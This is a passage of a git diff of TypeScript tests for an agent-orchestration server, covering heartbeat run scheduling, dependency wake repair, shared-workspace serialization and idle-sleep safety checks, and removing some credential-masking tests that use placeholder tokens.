await seedResolvedDependencyBackstopFixture({ workspaceState: "finalized" });
|
||||
const blockedTransitionAt = new Date(Date.now() - 30_000);
|
||||
await db.update(issues).set({ blockedTransitionAt, executionWorkspaceId }).where(eq(issues.id, blockedIssueId));
|
||||
await db.insert(activityLog).values({ companyId, actorType: "agent", actorId: agentId, agentId,
|
||||
action: "issue.updated", entityType: "issue", entityId: blockedIssueId, details: { status: "blocked" }, createdAt: blockedTransitionAt });
|
||||
await db.insert(workspaceOperations).values({ companyId, executionWorkspaceId,
|
||||
issueId: exporter === "dependent" ? blockedIssueId : exporter === "blocker" ? blockerIssueId : null, phase: "workspace_finalize",
|
||||
status: "succeeded", startedAt: new Date(), finishedAt: new Date() });
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
expect(result.healed).toBe(exporter === "blocker" ? 1 : 0);
|
||||
expect(result.selfBlockedSkipped).toBe(exporter === "blocker" ? 0 : 1);
|
||||
});
|
||||
|
||||
it("still heals when someone other than the assignee opened the blocked cycle", async () => {
|
||||
const { companyId, agentId, blockedIssueId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
|
||||
const blockedTransitionAt = new Date("2026-08-01T12:00:00.000Z");
|
||||
await db
|
||||
.update(issues)
|
||||
.set({ blockedTransitionAt, updatedAt: blockedTransitionAt })
|
||||
.where(eq(issues.id, blockedIssueId));
|
||||
await db.insert(activityLog).values({
|
||||
companyId,
|
||||
actorType: "user",
|
||||
actorId: "board-user",
|
||||
action: "issue.updated",
|
||||
entityType: "issue",
|
||||
entityId: blockedIssueId,
|
||||
details: { status: "blocked" },
|
||||
createdAt: blockedTransitionAt,
|
||||
});
|
||||
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
|
||||
expect(result.selfBlockedSkipped).toBe(0);
|
||||
expect(result.healed).toBe(1);
|
||||
void agentId;
|
||||
});
|
||||
|
||||
it("counts null dependency wake returns as deferred instead of enqueue failures", async () => {
|
||||
const { companyId, agentId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
|
||||
|
||||
@@ -1,2 +0,0 @@
|
||||
// Acceptance-matrix entry point for default-off, opt-in, and eligibility rules.
|
||||
import "../services/native-runtime/runtime-mode.test.js";
|
||||
File diff suppressed because it is too large.
Load diff
@@ -244,6 +244,8 @@ describeEmbeddedPostgres("heartbeat responsible-user invariant", () => {
|
||||
const completed = await waitForRun(db, run!.id);
|
||||
expect(completed).toMatchObject({ status: "succeeded", responsibleUserId: operatorId });
|
||||
expect(completed?.contextSnapshot?.wakeCommentIds).toEqual([commentId]);
|
||||
expect(completed?.contextSnapshot?.queuedCommentSourceWakeIds).toEqual([queueId]);
|
||||
expect(completed?.wakeupRequestId).not.toBe(queueId);
|
||||
await drainHeartbeatRunsToQuiescence(db, heartbeat);
|
||||
expect((await db.select().from(heartbeatRuns)).every(row => row.responsibleUserId === operatorId)).toBe(true);
|
||||
});
|
||||
|
||||
@@ -2031,32 +2031,6 @@ describeEmbeddedPostgres("heartbeat bounded retry scheduling", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("requires reconciliation for a classified Codex harness crash", async () => {
|
||||
const companyId = randomUUID();
|
||||
const agentId = randomUUID();
|
||||
const runId = randomUUID();
|
||||
const now = new Date("2026-07-24T12:00:00.000Z");
|
||||
|
||||
await seedRetryFixture({
|
||||
runId,
|
||||
companyId,
|
||||
agentId,
|
||||
now,
|
||||
errorCode: "codex_harness_crash",
|
||||
errorFamily: "transient_upstream",
|
||||
});
|
||||
|
||||
await db.update(heartbeatRuns).set({ resultJson: null }).where(eq(heartbeatRuns.id, runId));
|
||||
|
||||
const scheduled = await heartbeat.scheduleBoundedRetry(runId, {
|
||||
now,
|
||||
random: () => 0.5,
|
||||
});
|
||||
|
||||
expect(scheduled).toMatchObject({ outcome: "not_scheduled", errorCode: "legacy_execution_requires_reconciliation" });
|
||||
|
||||
await cleanupRetryFixture();
|
||||
});
|
||||
|
||||
it("requires reconciliation for an error-code-only Codex harness crash", async () => {
|
||||
const companyId = randomUUID();
|
||||
|
||||
@@ -63,14 +63,6 @@ describe("heartbeat scheduling suppression", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("suppresses heartbeat scheduling while a task drain is active", () => {
|
||||
startTaskDrain({});
|
||||
expect(resolveHeartbeatSchedulingSuppression({})).toEqual({
|
||||
suppressed: true,
|
||||
reason: "task_drain",
|
||||
});
|
||||
});
|
||||
|
||||
it("still suppresses database restore even when a task drain is active", () => {
|
||||
startTaskDrain({});
|
||||
expect(
|
||||
|
||||
@@ -53,10 +53,6 @@ describe("PF-4 shouldResetTaskSessionForWake", () => {
|
||||
expect(shouldResetTaskSessionForWake({ forceFreshSession: true })).toBe(true);
|
||||
});
|
||||
|
||||
it("does not reset for issue_commented (preserve continuation context)", () => {
|
||||
expect(shouldResetTaskSessionForWake({ wakeReason: "issue_commented" })).toBe(false);
|
||||
});
|
||||
|
||||
it("does not reset for transient_failure_retry (resume in-flight work)", () => {
|
||||
expect(shouldResetTaskSessionForWake({ wakeReason: "transient_failure_retry" })).toBe(false);
|
||||
});
|
||||
|
||||
@@ -252,9 +252,13 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
agentId: string;
|
||||
issueId: string;
|
||||
nonAssigneeAgentId: string;
|
||||
sharedExecutionWorkspaceId: string | null;
|
||||
}
|
||||
|
||||
async function seedWorkspaceFixture(input?: {
|
||||
// Bind both issues to one reused shared execution workspace, as when a child
|
||||
// task inherits the workspace of a parent whose run is still live.
|
||||
sharedExecutionWorkspace?: boolean;
|
||||
holderIssueWorkspaceSettings?: Record<string, unknown> | null;
|
||||
holderProjectWorkspaceId?: string;
|
||||
holderActivityAt?: Date;
|
||||
@@ -272,6 +276,7 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
const agentId = randomUUID();
|
||||
const issueId = randomUUID();
|
||||
const nonAssigneeAgentId = randomUUID();
|
||||
const sharedExecutionWorkspaceId = input?.sharedExecutionWorkspace ? randomUUID() : null;
|
||||
// Deferral/retry tests exercise sandbox protection. Local and SSH folders
|
||||
// must remain concurrent even when an older policy requests serialization.
|
||||
const agentEnvironmentDriver = input?.agentEnvironmentDriver ?? "sandbox";
|
||||
@@ -361,6 +366,21 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
});
|
||||
}
|
||||
|
||||
if (sharedExecutionWorkspaceId) {
|
||||
await db.insert(executionWorkspaces).values({
|
||||
id: sharedExecutionWorkspaceId,
|
||||
companyId,
|
||||
projectId,
|
||||
mode: "shared_workspace",
|
||||
strategyType: "project_primary",
|
||||
name: "Inherited parent workspace",
|
||||
status: "active",
|
||||
cwd: workspaceCwd,
|
||||
providerType: "local_fs",
|
||||
providerRef: workspaceCwd,
|
||||
});
|
||||
}
|
||||
|
||||
const holderActivityAt = input?.holderActivityAt ?? now;
|
||||
await db.insert(heartbeatRuns).values({
|
||||
id: holderRunId,
|
||||
@@ -394,6 +414,7 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
executionLockedAt: now,
|
||||
issueNumber: 1,
|
||||
identifier: `${issuePrefix}-1`,
|
||||
...(sharedExecutionWorkspaceId ? { executionWorkspaceId: sharedExecutionWorkspaceId } : {}),
|
||||
...(input?.holderIssueWorkspaceSettings !== undefined
|
||||
? { executionWorkspaceSettings: input.holderIssueWorkspaceSettings }
|
||||
: {}),
|
||||
@@ -411,6 +432,9 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
projectWorkspaceId,
|
||||
issueNumber: 2,
|
||||
identifier: `${issuePrefix}-2`,
|
||||
...(sharedExecutionWorkspaceId
|
||||
? { executionWorkspaceId: sharedExecutionWorkspaceId, executionWorkspacePreference: "reuse_existing" }
|
||||
: {}),
|
||||
executionWorkspaceSettings:
|
||||
input?.issueWorkspaceSettings === undefined
|
||||
? { sharedWorkspaceConcurrency: "serialize" }
|
||||
@@ -427,6 +451,7 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
agentId,
|
||||
issueId,
|
||||
nonAssigneeAgentId,
|
||||
sharedExecutionWorkspaceId,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -647,6 +672,140 @@ describeEmbeddedPostgres("shared-workspace run serialization", () => {
|
||||
expect(retryRuns).toHaveLength(0);
|
||||
});
|
||||
|
||||
describe("reused shared execution workspace in a sandbox", () => {
|
||||
// The holder uses a different project workspace so only the shared execution
|
||||
// workspace connects the two runs.
|
||||
const seedInheritedWorkspace = (input?: Parameters<typeof seedWorkspaceFixture>[0]) => seedWorkspaceFixture({
|
||||
sharedExecutionWorkspace: true,
|
||||
holderProjectWorkspaceId: randomUUID(),
|
||||
issueWorkspaceSettings: { mode: "shared_workspace" },
|
||||
...input,
|
||||
});
|
||||
|
||||
it("defers instead of failing while a live run holds the workspace", async () => {
|
||||
const fixture = await seedInheritedWorkspace();
|
||||
|
||||
const run = await heartbeat.invoke(
|
||||
fixture.agentId,
|
||||
"assignment",
|
||||
{ issueId: fixture.issueId, wakeReason: "issue_assigned" },
|
||||
"system",
|
||||
);
|
||||
expect(run).not.toBeNull();
|
||||
|
||||
const finishedRun = await waitForRunToLeaveActiveStates(run!.id);
|
||||
expect(finishedRun?.status).toBe("cancelled");
|
||||
expect(finishedRun?.errorCode).toBe(WORKSPACE_BUSY_ERROR_CODE);
|
||||
expect(finishedRun?.error).not.toContain("cannot place concurrent agents in one physical shared folder");
|
||||
expect(finishedRun?.resultJson).toMatchObject({
|
||||
executionRecovery: { kind: "workspace_wait", providerWorkStarted: false },
|
||||
cancellation: { reason: "Waiting for the shared execution workspace" },
|
||||
workspaceBusy: {
|
||||
projectWorkspaceId: null,
|
||||
executionWorkspaceId: fixture.sharedExecutionWorkspaceId,
|
||||
holderRunId: fixture.holderRunId,
|
||||
holderIssueId: fixture.holderIssueId,
|
||||
deferralAttempt: 0,
|
||||
},
|
||||
});
|
||||
expect(executedRunIds).not.toContain(run!.id);
|
||||
expect(await waitForRetryRun(run!.id)).toMatchObject({
|
||||
status: "scheduled_retry",
|
||||
scheduledRetryReason: WORKSPACE_BUSY_RETRY_REASON,
|
||||
});
|
||||
await waitForPendingRunFailureReports();
|
||||
expect(captureRunFailure.mock.calls.filter(([report]) => report.runId === run!.id)).toHaveLength(0);
|
||||
const [issueRow] = await db.select({ status: issues.status }).from(issues).where(eq(issues.id, fixture.issueId));
|
||||
expect(issueRow?.status).not.toBe("blocked");
|
||||
});
|
||||
|
||||
it("resumes in the inherited workspace once the holder finishes", async () => {
|
||||
const fixture = await seedInheritedWorkspace();
|
||||
|
||||
const run = await heartbeat.invoke(
|
||||
fixture.agentId,
|
||||
"assignment",
|
||||
{ issueId: fixture.issueId, wakeReason: "issue_assigned" },
|
||||
"system",
|
||||
);
|
||||
expect(run).not.toBeNull();
|
||||
expect((await waitForRunToLeaveActiveStates(run!.id))?.errorCode).toBe(WORKSPACE_BUSY_ERROR_CODE);
|
||||
const retryRun = await waitForRetryRun(run!.id);
|
||||
expect(retryRun?.status).toBe("scheduled_retry");
|
||||
|
||||
await db
|
||||
.update(heartbeatRuns)
|
||||
.set({ status: "succeeded", finishedAt: new Date() })
|
||||
.where(eq(heartbeatRuns.id, fixture.holderRunId));
|
||||
const afterDue = new Date(new Date(retryRun!.scheduledRetryAt!).getTime() + 1_000);
|
||||
expect((await heartbeat.promoteDueScheduledRetries(afterDue)).runIds).toContain(retryRun!.id);
|
||||
await heartbeat.resumeQueuedRuns();
|
||||
|
||||
expect((await waitForRunToLeaveActiveStates(retryRun!.id))?.status).toBe("succeeded");
|
||||
expect(executedRunIds).toContain(retryRun!.id);
|
||||
expect(executedInputs.get(retryRun!.id)?.context.paperclipWorkspace).toMatchObject({
|
||||
cwd: workspaceCwd,
|
||||
mode: "shared_workspace",
|
||||
});
|
||||
const [issueRow] = await db
|
||||
.select({ executionWorkspaceId: issues.executionWorkspaceId })
|
||||
.from(issues)
|
||||
.where(eq(issues.id, fixture.issueId));
|
||||
expect(issueRow?.executionWorkspaceId).toBe(fixture.sharedExecutionWorkspaceId);
|
||||
});
|
||||
|
||||
it("still rejects an explicit allow policy that requires concurrent physical sharing", async () => {
|
||||
const fixture = await seedInheritedWorkspace({
|
||||
issueWorkspaceSettings: { mode: "shared_workspace", sharedWorkspaceConcurrency: "allow" },
|
||||
});
|
||||
|
||||
const run = await heartbeat.invoke(
|
||||
fixture.agentId,
|
||||
"assignment",
|
||||
{ issueId: fixture.issueId, wakeReason: "issue_assigned" },
|
||||
"system",
|
||||
);
|
||||
expect(run).not.toBeNull();
|
||||
|
||||
const finishedRun = await waitForRunToLeaveActiveStates(run!.id);
|
||||
expect(finishedRun?.status).toBe("failed");
|
||||
expect(finishedRun?.error).toContain("cannot place concurrent agents in one physical shared folder");
|
||||
expect(executedRunIds).not.toContain(run!.id);
|
||||
expect(await db.select({ id: heartbeatRuns.id }).from(heartbeatRuns).where(and(
|
||||
eq(heartbeatRuns.companyId, fixture.companyId),
|
||||
eq(heartbeatRuns.scheduledRetryReason, WORKSPACE_BUSY_RETRY_REASON),
|
||||
))).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("neither overlaps nor waits forever on a quiet holder that is still running", async () => {
|
||||
const fixture = await seedInheritedWorkspace({
|
||||
holderActivityAt: new Date(Date.now() - WORKSPACE_BUSY_HOLDER_STALE_AFTER_MS - 60_000),
|
||||
});
|
||||
|
||||
const run = await heartbeat.invoke(
|
||||
fixture.agentId,
|
||||
"assignment",
|
||||
{ issueId: fixture.issueId, wakeReason: "issue_assigned" },
|
||||
"system",
|
||||
);
|
||||
expect(run).not.toBeNull();
|
||||
|
||||
const finishedRun = await waitForRunToLeaveActiveStates(run!.id);
|
||||
expect(finishedRun?.status).toBe("failed");
|
||||
expect(finishedRun?.errorCode).not.toBe(WORKSPACE_BUSY_ERROR_CODE);
|
||||
expect(finishedRun?.error).toContain(`run ${fixture.holderRunId} still holds this shared execution workspace`);
|
||||
expect(finishedRun?.resultJson).toMatchObject({
|
||||
configurationIncomplete: { reason: "shared_realization_unsupported", holderRunId: fixture.holderRunId, holderStale: true },
|
||||
});
|
||||
expect(executedRunIds).not.toContain(run!.id);
|
||||
expect(await db.select({ id: heartbeatRuns.id }).from(heartbeatRuns).where(and(
|
||||
eq(heartbeatRuns.companyId, fixture.companyId),
|
||||
eq(heartbeatRuns.scheduledRetryReason, WORKSPACE_BUSY_RETRY_REASON),
|
||||
))).toHaveLength(0);
|
||||
expect((await heartbeat.getRun(fixture.holderRunId))?.status).toBe("running");
|
||||
});
|
||||
});
|
||||
|
||||
it.each([0, 35 * 60_000])("defers a run in a busy shared workspace after %i ms of holder silence", async (silenceMs) => {
|
||||
const fixture = await seedWorkspaceFixture({ holderActivityAt: new Date(Date.now() - silenceMs) });
|
||||
|
||||
|
||||
@@ -44,7 +44,6 @@ import {
|
||||
normalizeSessionParams,
|
||||
isTaskSessionCredentialCompatible,
|
||||
shouldResetTaskSessionForWake,
|
||||
scrubGitCredentialText,
|
||||
buildAnchorFallbackWorkspaceNotes,
|
||||
type ResolvedWorkspaceForRun,
|
||||
} from "../services/heartbeat.ts";
|
||||
@@ -946,45 +945,6 @@ describe("assertGitWorktreeBaseWorkspaceReady", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("scrubGitCredentialText", () => {
|
||||
it("masks URL userinfo including tokens", () => {
|
||||
expect(scrubGitCredentialText(
|
||||
'fatal: unable to access "https://x-access-token:ghp_abc123@github.com/example/repo.git"',
|
||||
)).toBe('fatal: unable to access "https://***@github.com/example/repo.git"');
|
||||
});
|
||||
|
||||
it("masks bare-username userinfo and multiple occurrences", () => {
|
||||
expect(scrubGitCredentialText(
|
||||
"clone https://alice@github.com/a.git then http://token@internal.example/b.git",
|
||||
)).toBe("clone https://***@github.com/a.git then http://***@internal.example/b.git");
|
||||
});
|
||||
|
||||
it("masks userinfo on non-HTTP schemes, leaving scp-style remotes alone", () => {
|
||||
expect(scrubGitCredentialText(
|
||||
"fatal: cannot clone ssh://deploy:hunter2@internal.example/repo.git or git+ssh://bob@host/x.git",
|
||||
)).toBe("fatal: cannot clone ssh://***@internal.example/repo.git or git+ssh://***@host/x.git");
|
||||
expect(scrubGitCredentialText("fetch from git@github.com:example/repo.git failed")).toBe(
|
||||
"fetch from git@github.com:example/repo.git failed",
|
||||
);
|
||||
});
|
||||
|
||||
it("masks entire URL query strings regardless of parameter names", () => {
|
||||
expect(scrubGitCredentialText(
|
||||
"fatal: unable to access 'https://github.com/example/repo.git?access_token=ghs_secret&ref=main'",
|
||||
)).toBe("fatal: unable to access 'https://github.com/example/repo.git?***'");
|
||||
expect(scrubGitCredentialText(
|
||||
"clone https://gitlab.example/repo.git?anything=glpat-123 failed",
|
||||
)).toBe("clone https://gitlab.example/repo.git?*** failed");
|
||||
});
|
||||
|
||||
it("leaves credential-free text unchanged", () => {
|
||||
const text = 'Failed to clone "https://github.com/example/repo.git": exit code 128';
|
||||
expect(scrubGitCredentialText(text)).toBe(text);
|
||||
const plain = "git clone failed with exit code=128 at key step ref=main";
|
||||
expect(scrubGitCredentialText(plain)).toBe(plain);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildAnchorFallbackWorkspaceNotes", () => {
|
||||
it("reports materialization failures ahead of the generic no-cwd note", () => {
|
||||
expect(buildAnchorFallbackWorkspaceNotes({
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { eq, sql } from "drizzle-orm";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
|
||||
import { ONBOARDING_FIRST_TASK_ORIGIN_KIND, PROVIDER_QUOTA_MONITOR_SERVICE_NAME } from "@paperclipai/shared";
|
||||
import { agents, agentApiKeys, companies, createDb, heartbeatRuns, issues, issueComments, issueRelations, issueThreadInteractions, routines, routineTriggers } from "@paperclipai/db";
|
||||
import { beginIdleTrackedWork, idleWorkSnapshot } from "../services/task-admission.js";
|
||||
import { readIdleSleepSafety, type IdleSleepDrainStatus } from "../services/idle-sleep-safety.js";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
|
||||
const now = Date.UTC(2020, 0, 1);
|
||||
const ownerId = "d0b833f4-4098-42de-8420-1907f3aa4895";
|
||||
const owned = (): IdleSleepDrainStatus => ({ ownerId, draining: true, startedAt: new Date(now - 1000),
|
||||
expiresAt: new Date(now + 60_000), activeRuns: 0, pendingWakes: 0 });
|
||||
const emptyLocal = async () => "none" as const;
|
||||
const present = { version: 1, backgroundWork: "present" };
|
||||
const none = { version: 1, backgroundWork: "none" };
|
||||
const support = await getEmbeddedPostgresTestSupport();
|
||||
if (!support.supported) console.warn(`Skipping issue schedule Postgres tests: ${support.reason}`);
|
||||
(support.supported ? describe : describe.skip)("idle issue schedule safety", () => {
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
beforeAll(async () => {
|
||||
database = await startEmbeddedPostgresTestDatabase("idle-issue-schedule-");
|
||||
db = createDb(database.connectionString);
|
||||
}, 60_000);
|
||||
afterEach(async () => { await db.execute(sql`TRUNCATE companies, plugins, environments CASCADE`); });
|
||||
afterAll(async () => { await db?.$client.end(); await database?.cleanup(); });
|
||||
const readScheduled = () => readIdleSleepSafety(db, owned, () => now, ownerId, emptyLocal, undefined, undefined, true);
|
||||
const readIssueSchedules = () => readIdleSleepSafety(db, owned, () => now, ownerId, emptyLocal, undefined, undefined, true, true);
|
||||
async function seed() {
|
||||
const companyId = randomUUID();
|
||||
const agentId = randomUUID();
|
||||
const runId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Idle test", issuePrefix: `T${companyId.slice(0, 6).toUpperCase()}` });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: "On-demand agent", role: "engineer", status: "idle", adapterType: "process" });
|
||||
await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, invocationSource: "on_demand", status: "succeeded" });
|
||||
return { companyId, agentId, runId };
|
||||
}
|
||||
|
||||
async function scheduledRoutine(at = now + 600_000) {
|
||||
const fixture = await seed();
|
||||
const [routine] = await db.insert(routines).values({ companyId: fixture.companyId,
|
||||
title: "Scheduled fixture", status: "active", assigneeAgentId: fixture.agentId }).returning();
|
||||
const [trigger] = await db.insert(routineTriggers).values({ companyId: fixture.companyId,
|
||||
routineId: routine!.id, kind: "schedule", cronExpression: "*/15 * * * *", timezone: "UTC",
|
||||
nextRunAt: new Date(at), enabled: true, archived: false, setupPending: false }).returning();
|
||||
return { ...fixture, routine: routine!, trigger: trigger! };
|
||||
}
|
||||
|
||||
async function monitoredIssue(at = now + 600_000) {
|
||||
const fixture = await seed();
|
||||
const monitor = { nextCheckAt: new Date(at).toISOString(), notes: "Inspect fixture result" };
|
||||
const [issue] = await db.insert(issues).values({ companyId: fixture.companyId, title: "Monitor fixture",
|
||||
status: "in_progress", assigneeAgentId: fixture.agentId, monitorNextCheckAt: new Date(at),
|
||||
executionPolicy: { monitor } }).returning();
|
||||
return { ...fixture, issue: issue!, monitor };
|
||||
}
|
||||
|
||||
it("allows passive issue records only with the issue-scheduling host capability", async () => {
|
||||
const f = await seed();
|
||||
await db.insert(issues).values([
|
||||
{ companyId: f.companyId, title: "Planned task", status: "backlog", assigneeAgentId: f.agentId },
|
||||
{ companyId: f.companyId, title: "Unassigned task", status: "todo" },
|
||||
{ companyId: f.companyId, title: "Explicitly blocked task", status: "blocked", assigneeAgentId: f.agentId },
|
||||
{ companyId: f.companyId, title: "Human review", status: "in_review", assigneeUserId: "fixture-user" },
|
||||
]);
|
||||
expect(await readScheduled()).toEqual(present);
|
||||
expect(await readIssueSchedules()).toEqual(none);
|
||||
expect(await db.select().from(issues)).toHaveLength(4);
|
||||
});
|
||||
|
||||
it.each(["todo", "in_progress", "in_review"])("retains an assigned %s task without a proved waiting path", async status => {
|
||||
const f = await seed();
|
||||
await db.insert(issues).values({ companyId: f.companyId, title: "Unfinished automated task", status, assigneeAgentId: f.agentId });
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
});
|
||||
|
||||
it.each(["typed", "legacy-typed", "interaction", "run", "origin", "agent-state"])(
|
||||
"allows an untouched onboarding task, but retains it after %s activity", async activity => {
|
||||
const f = await seed();
|
||||
const [issue] = await db.insert(issues).values({ companyId: f.companyId, title: "First task",
|
||||
status: "todo", assigneeAgentId: f.agentId, originKind: ONBOARDING_FIRST_TASK_ORIGIN_KIND }).returning();
|
||||
await db.insert(issueComments).values({ companyId: f.companyId, issueId: issue!.id,
|
||||
authorType: "agent", authorAgentId: f.agentId, body: "Seeded greeting" });
|
||||
const [card] = await db.insert(issueThreadInteractions).values({ companyId: f.companyId,
|
||||
issueId: issue!.id, kind: "request_confirmation", payload: { version: 1, prompt: "Start?" } }).returning();
|
||||
expect(await readScheduled()).toEqual(present);
|
||||
expect(await readIssueSchedules()).toEqual(none);
|
||||
if (activity === "typed" || activity === "legacy-typed") {
|
||||
await db.insert(issueComments).values({ companyId: f.companyId, issueId: issue!.id,
|
||||
authorType: activity === "typed" ? "user" : null, authorUserId: "fixture-user", body: "Start work" });
|
||||
}
|
||||
if (activity === "interaction") await db.update(issueThreadInteractions).set({ status: "resolved",
|
||||
resolvedByUserId: "fixture-user", resolvedAt: new Date(now) }).where(eq(issueThreadInteractions.id, card!.id));
|
||||
if (activity === "run") await db.update(heartbeatRuns).set({ contextSnapshot: { issueId: issue!.id } }).where(eq(heartbeatRuns.id, f.runId));
|
||||
if (activity === "origin") await db.update(issues).set({ originKind: "manual" }).where(eq(issues.id, issue!.id));
|
||||
if (activity === "agent-state") await db.update(agents).set({ status: "paused" }).where(eq(agents.id, f.agentId));
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
},
|
||||
);
|
||||
|
||||
it("keeps resolved dependency repair awake while allowing an unresolved blocked task", async () => {
|
||||
const f = await seed();
|
||||
const [blocker] = await db.insert(issues).values({ companyId: f.companyId, title: "Unassigned blocker", status: "todo" }).returning();
|
||||
const [dependent] = await db.insert(issues).values({ companyId: f.companyId, title: "Waiting task", status: "blocked", assigneeAgentId: f.agentId }).returning();
|
||||
await db.insert(issueRelations).values({ companyId: f.companyId, issueId: blocker!.id, relatedIssueId: dependent!.id, type: "blocks" });
|
||||
expect(await readIssueSchedules()).toEqual(none);
|
||||
await db.update(issues).set({ status: "cancelled" }).where(eq(issues.id, blocker!.id));
|
||||
expect(await readIssueSchedules()).toEqual(none);
|
||||
await db.update(issues).set({ status: "done" }).where(eq(issues.id, blocker!.id));
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
});
|
||||
|
||||
it("combines routine and issue monitor deadlines across companies without changing dispatch state", async () => {
|
||||
await scheduledRoutine(now + 900_000);
|
||||
const f = await monitoredIssue();
|
||||
expect(await readScheduled()).toEqual(present);
|
||||
const first = await readIssueSchedules();
|
||||
expect(first).toMatchObject({ version: 2, backgroundWork: "none", scheduledWake: {
|
||||
version: 1, kind: "routines_and_issue_monitors", nextWakeAt: f.monitor.nextCheckAt } });
|
||||
expect((await readIssueSchedules()).scheduledWake).toEqual(first.scheduledWake);
|
||||
const earlier = new Date(now + 400_000);
|
||||
await db.update(issues).set({ monitorNextCheckAt: earlier, executionPolicy: { monitor: { ...f.monitor, nextCheckAt: earlier.toISOString() } } }).where(eq(issues.id, f.issue.id));
|
||||
const edited = await readIssueSchedules();
|
||||
expect(edited.scheduledWake?.nextWakeAt).toBe(earlier.toISOString());
|
||||
expect(edited.scheduledWake?.generation).not.toBe(first.scheduledWake?.generation);
|
||||
expect(await db.select().from(issues).where(eq(issues.id, f.issue.id))).toMatchObject([{ monitorNextCheckAt: earlier, monitorWakeRequestedAt: null, monitorAttemptCount: 0 }]);
|
||||
await db.update(issues).set({ status: "blocked", monitorNextCheckAt: null, executionPolicy: null }).where(eq(issues.id, f.issue.id));
|
||||
expect(await readIssueSchedules()).toMatchObject({ version: 2, backgroundWork: "none", scheduledWake: {
|
||||
kind: "routines", nextWakeAt: new Date(now + 900_000).toISOString() } });
|
||||
});
|
||||
|
||||
it.each(["due", "mismatch", "claimed", "timeout", "exhausted", "negative-attempts", "pending-review", "quota", "unowned"])(
|
||||
"retains %s monitor work", async kind => {
|
||||
const f = await monitoredIssue();
|
||||
const patch: Partial<typeof issues.$inferInsert> = {};
|
||||
if (kind === "due") patch.monitorNextCheckAt = new Date(now);
|
||||
if (kind === "mismatch") patch.monitorNextCheckAt = new Date(now + 700_000);
|
||||
if (kind === "claimed") patch.monitorWakeRequestedAt = new Date(now);
|
||||
if (kind === "pending-review") patch.executionState = { status: "pending" };
|
||||
if (kind === "unowned") patch.assigneeAgentId = null;
|
||||
if (kind === "timeout") patch.executionPolicy = { monitor: { ...f.monitor, timeoutAt: new Date(now + 500_000).toISOString() } };
|
||||
if (kind === "exhausted") { patch.monitorAttemptCount = 2; patch.executionPolicy = { monitor: { ...f.monitor, maxAttempts: 2 } }; }
|
||||
if (kind === "negative-attempts") patch.monitorAttemptCount = -1;
|
||||
if (kind === "quota") patch.executionPolicy = { monitor: { ...f.monitor, serviceName: PROVIDER_QUOTA_MONITOR_SERVICE_NAME } };
|
||||
await db.update(issues).set(patch).where(eq(issues.id, f.issue.id));
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
},
|
||||
);
|
||||
|
||||
it("retains a cross-company assignee and unknown issue states", async () => {
|
||||
const f = await monitoredIssue();
|
||||
const other = await seed();
|
||||
await db.update(issues).set({ assigneeAgentId: other.agentId }).where(eq(issues.id, f.issue.id));
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
await db.update(issues).set({ assigneeAgentId: f.agentId, status: "unknown" }).where(eq(issues.id, f.issue.id));
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
});
|
||||
|
||||
it("retains an unknown assignee state even for a blocked task", async () => {
|
||||
const f = await seed();
|
||||
await db.insert(issues).values({ companyId: f.companyId, title: "Blocked fixture", status: "blocked", assigneeAgentId: f.agentId });
|
||||
await db.execute(sql`UPDATE agents SET status = 'unknown' WHERE id = ${f.agentId}`);
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
});
|
||||
|
||||
it("refuses monitor sleep if a new run or external credential needs the instance", async () => {
|
||||
const f = await monitoredIssue();
|
||||
await db.update(heartbeatRuns).set({ status: "queued" }).where(eq(heartbeatRuns.id, f.runId));
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
await db.update(heartbeatRuns).set({ status: "succeeded" }).where(eq(heartbeatRuns.id, f.runId));
|
||||
await db.insert(agentApiKeys).values({ companyId: f.companyId, agentId: f.agentId, name: "Fixture external client", keyHash: "fixture-key-hash" });
|
||||
expect(await readIssueSchedules()).toEqual(present);
|
||||
});
|
||||
|
||||
it("retains a monitor which becomes due during the owned backup checkpoint", async () => {
|
||||
await monitoredIssue(now + 1000);
|
||||
let clock = now;
|
||||
const backup = async () => {
|
||||
const done = beginIdleTrackedWork();
|
||||
try { clock += 1000; return true; } finally { done(); }
|
||||
};
|
||||
expect(await readIdleSleepSafety(db, owned, () => clock, ownerId, emptyLocal, undefined, backup, true, true)).toEqual(present);
|
||||
expect(idleWorkSnapshot().active).toBe(0);
|
||||
});
|
||||
|
||||
});
|
||||
@@ -907,7 +907,7 @@ describe("instance settings routes", () => {
|
||||
await request(createApp(adminActor)).post("/api/instance/task-drain").send({ purpose: "idle", ttlMs: 60_000 }).expect(200);
|
||||
expect(mockHeartbeatService.computeTaskDrain).toHaveBeenCalledWith({ purpose: "idle", ttlMs: 60_000 });
|
||||
